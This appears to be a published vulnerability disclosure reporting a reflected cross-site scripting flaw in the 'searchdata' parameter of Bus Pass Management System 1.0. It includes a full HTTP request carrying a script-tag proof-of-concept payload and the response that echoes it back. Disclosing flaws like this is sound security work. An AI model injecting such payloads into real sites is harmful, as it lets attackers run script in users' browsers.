Bus Pass Management System 1.0 - 'searchdata' Cross-Site Scripting (XSS)

- Date: 2022-07-02
- Exploit Author: Ali Alipour
- Vendor Homepage: https://phpgurukul.com/bus-pass-management-system-using-php-and-mysql
- Software Link: https://phpgurukul.com/wp-content/uploads/2021/07/Bus-Pass-Management-System-Using-PHP-MySQL.zip
- Version: 1.0
- Tested on: Windows 10 Pro x64 - XAMPP Server
- CVE : N/A

Issue Detail:

The value of the searchdata request parameter is copied into the HTML document as plain text between tags. The payload cyne7<script>alert(1)</script>yhltm was submitted in the searchdata parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Vulnerable page:

- /buspassms/download-pass.php

Vulnerable Parameter:

- searchdata [POST Data]

Request :

POST /buspassms/download-pass.php HTTP/1.1

Host: 127.0.0.1

Referer: https://127.0.0.1/buspassms/download-pass.php

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36

Content-Length: 25

searchdata=966196cyne7%3cscript%3ealert(1)%3c%2fscript%3eyhltm&search=

Response :

HTTP/1.1 200 OK

Date: Fri, 01 Jul 2022 00:14:25 GMT

Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.8

X-Powered-By: PHP/7.4.8

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Content-Length: 6425

Connection: close

Content-Type: text/html; charset=UTF-8

<title>Bus Pass Management System || Pass Page</title> <script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLba ...[SNIP]... Result against "966196cyne7<script>alert(1)</script>yhltm" keyword
...[SNIP]...